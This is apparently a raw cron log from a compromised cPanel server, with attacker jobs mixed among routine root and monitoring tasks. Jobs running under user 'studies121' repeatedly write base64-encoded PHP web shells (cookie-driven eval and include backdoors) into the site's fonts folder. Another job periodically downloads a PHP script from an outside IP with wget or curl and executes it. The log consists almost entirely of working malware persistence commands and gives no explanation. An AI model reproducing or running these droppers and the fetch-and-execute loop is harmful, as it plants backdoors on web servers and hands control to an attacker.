Sep  9 21:19:01 ip-184-168-122-23 CROND[15337]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 21:19:01 ip-184-168-122-23 CROND[15339]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 21:19:01 ip-184-168-122-23 CROND[15341]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 21:19:01 ip-184-168-122-23 CROND[15340]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 21:20:01 ip-184-168-122-23 CROND[15433]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 21:20:01 ip-184-168-122-23 CROND[15435]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 21:20:01 ip-184-168-122-23 CROND[15436]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 21:20:01 ip-184-168-122-23 CROND[15439]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 21:20:01 ip-184-168-122-23 CROND[15438]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 21:20:01 ip-184-168-122-23 CROND[15440]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 21:20:01 ip-184-168-122-23 CROND[15441]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 21:20:01 ip-184-168-122-23 CROND[15442]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 21:20:01 ip-184-168-122-23 CROND[15446]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 21:21:01 ip-184-168-122-23 CROND[15546]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 21:21:01 ip-184-168-122-23 CROND[15549]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 21:21:01 ip-184-168-122-23 CROND[15550]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 21:21:01 ip-184-168-122-23 CROND[15548]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 21:22:01 ip-184-168-122-23 CROND[15633]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 21:22:01 ip-184-168-122-23 CROND[15636]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 21:22:01 ip-184-168-122-23 CROND[15638]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 21:22:01 ip-184-168-122-23 CROND[15639]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 21:22:01 ip-184-168-122-23 CROND[15640]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 21:23:01 ip-184-168-122-23 CROND[15727]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 21:23:01 ip-184-168-122-23 CROND[15730]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 21:23:01 ip-184-168-122-23 CROND[15728]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 21:23:01 ip-184-168-122-23 CROND[15729]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 21:24:01 ip-184-168-122-23 CROND[15907]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 21:24:01 ip-184-168-122-23 CROND[15909]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 21:24:01 ip-184-168-122-23 CROND[15911]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 21:24:01 ip-184-168-122-23 CROND[15910]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 21:24:01 ip-184-168-122-23 CROND[15912]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 21:25:01 ip-184-168-122-23 CROND[15996]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 21:25:01 ip-184-168-122-23 CROND[15999]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 21:25:01 ip-184-168-122-23 CROND[16000]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 21:25:01 ip-184-168-122-23 CROND[15998]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 21:25:01 ip-184-168-122-23 CROND[16001]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 21:25:01 ip-184-168-122-23 CROND[16002]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 21:26:01 ip-184-168-122-23 CROND[16098]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 21:26:01 ip-184-168-122-23 CROND[16100]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 21:26:01 ip-184-168-122-23 CROND[16102]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 21:26:01 ip-184-168-122-23 CROND[16103]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 21:26:01 ip-184-168-122-23 CROND[16104]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 21:27:01 ip-184-168-122-23 CROND[16191]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 21:27:01 ip-184-168-122-23 CROND[16194]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 21:27:01 ip-184-168-122-23 CROND[16193]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 21:27:01 ip-184-168-122-23 CROND[16192]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 21:28:01 ip-184-168-122-23 CROND[16272]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 21:28:01 ip-184-168-122-23 CROND[16274]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 21:28:01 ip-184-168-122-23 CROND[16276]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 21:28:01 ip-184-168-122-23 CROND[16275]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 21:28:01 ip-184-168-122-23 CROND[16277]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 21:29:01 ip-184-168-122-23 CROND[16358]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 21:29:01 ip-184-168-122-23 CROND[16359]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 21:29:01 ip-184-168-122-23 CROND[16360]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 21:29:01 ip-184-168-122-23 CROND[16361]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 21:30:01 ip-184-168-122-23 CROND[16522]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 21:30:02 ip-184-168-122-23 CROND[16525]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 21:30:02 ip-184-168-122-23 CROND[16527]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 21:30:02 ip-184-168-122-23 CROND[16530]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 21:30:02 ip-184-168-122-23 CROND[16528]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 21:30:02 ip-184-168-122-23 CROND[16532]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 21:30:02 ip-184-168-122-23 CROND[16529]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 21:30:02 ip-184-168-122-23 CROND[16531]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 21:31:01 ip-184-168-122-23 CROND[16685]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
